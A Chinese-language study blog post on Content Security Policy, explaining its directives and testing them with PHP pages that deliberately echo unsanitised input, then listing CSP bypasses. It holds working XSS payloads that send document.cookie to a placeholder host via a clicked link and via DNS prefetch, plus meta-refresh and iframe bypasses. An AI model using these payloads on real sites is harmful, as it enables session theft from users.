初识CSP

kkkkl / 2023-06-07 / 原文

初识CSP

CSP(内容安全策略) Content Security Policy

CSP 语法

前面是Content-Security-Policy: 后面是 策略指令 + 源内容列表 加 ;

例子:

Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com;

策略指令

default-src 定义默认加载策略 script-src 定义js加载策略 img-src 定义图片加载策略 style-src 定义css 加载策略

frame-src 定义frame 加载策略 connect-src 定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源

child-src 定义了web workers 以及嵌套 浏览上下文的源 frame 和iframe等

资源列表 source list

* 表示 实例 img-src * 通配符 允许所有地址

'none' 表示 不允许加载任何资源

'self' 表示 只加载用域名的资源

data:表示只允许加载data协议的资源 例如data:image/jpg;base64,NCJAFOFMJFJN=

domain.example.com 只允许加载当前域名的资源

*.example.com 允许加载example.com 域名下所有子域名

'unsafe-inline' 允许执行页面内嵌的<script>标签和事件监听函数

'unsafe-eval' 允许讲字符串当做代码执行 比如使用eval setTimeout Function 等

我并不是很了解这 unsafe-inline 和 unsafe-eval 两个的区别 所以我先做 做了如下实验

测试代码

<?php

	header("Content-Security-Policy: script-src	'unsafe-inline'  ");
	setcookie('name','kkkl');
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>

<?php echo $_GET['xss'];?>
</body>

如何策略指令是 script-src 那么 unsafe-inline 的意思就是可以加载 执行js脚本 但是并不可以执行 eval setTimeout Function 等 代码执行函数

比如 现在是 unsafe-inline 运行加载执行js

image-20230605113031484

那如果只写 unsafe-eval 呢

image-20230605113153154

看到控制台报错了 翻译一下image-20230605113816220

提示拒绝执行内联script脚本 因为它违反了csp(内容安全策略) 启动内联执行sript 需要执行 unsafe-inline

所以现在如果我们想执行 代码执行函数的时候我们就可以使用

script-src	'unsafe-eval' 'unsafe-inline'

image-20230605114312899

image-20230605114257473

那如果不加unsafe -inline 就是不能执行js代码了吗 比如现在改为 script-src 'self'

image-20230605114641730

发现又报错了 但是 想了一下 上面知识内联执行js代码 那如果我外联执行js代码呢 我又尝试了一下 在csp中又添加了内容源

header("Content-Security-Policy: script-src	'self' http://43.143.197.175");

image-20230605120230395

发现外联的话是不会去受 unsafe-inline的影响的

所以在csp中如果没有没有写 unsafe-inline 的话 就需要外联去执行js代码

还有 一个 nonce 相当于一个验证 只有带有这个验证的话 js代码才会去执行

csp header("Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa' 'self' ");

image-20230605144839851

CSP 绕过

利用跳转绕过

网站存在csp 利用 fetch 这种是请求发出是会被csp禁止的

image-20230605162238946

image-20230605162255113

这里的csp 报错没有设置 connect-src 所以 为默认设置 default-src 为self 所以 发布出请求

这里可以用跳转的方式去发送请求

可以使用 window.open location

还有下面这种方法绕过

<script>var a=document.createElement("a");a.href='http://xxxxxx/?cookie='+escape(document.cookie);a.click();</script>

iframe 标签绕过

先写个demo

4.php

<?php
	$nonce = md5(openssl_random_pseudo_bytes(16));
	header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce'; frame-src 'self'; ");
?>

<?php
	if (isset($_POST['content'])) {
		echo "Your POST content: <p>".@$_POST['content']."</p>";
	}
?>

2.php


<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>

<?php echo $_GET['xss'];?>
</body>

一个界面有csp限制 限制 frame 为同源 self 另一个有xss漏洞

然后 我们可以利用 2.php 中的漏洞 去 在 4.php 中去加载 2.php

image-20230605195444167

还有另一种方法是

在chrome浏览器下 iframe 支持csp属性 可以用来绕过一些防御 有些页面会引用js库来过滤xss 我们就可以利用csp属性来禁用这个js库

绕过 default-src 'none'

内容策略是 header("Content-Security-Policy: default-src 'none'; ");

利用meta 标签可实现跳转 造成某些ssrf

<meta http-equiv="refresh" content="1;url=https://xxxxxxx" >

DNS 预加载

可以通过 link 标签的 dns预加载 绕过csp

document.querySelector('body').innerHTML="<link rel='dns-prefetch' href='http://"+document.cookie.split(/;|=/)[0].trim()+".xxxxxx'>";//dns log

image-20230605215710673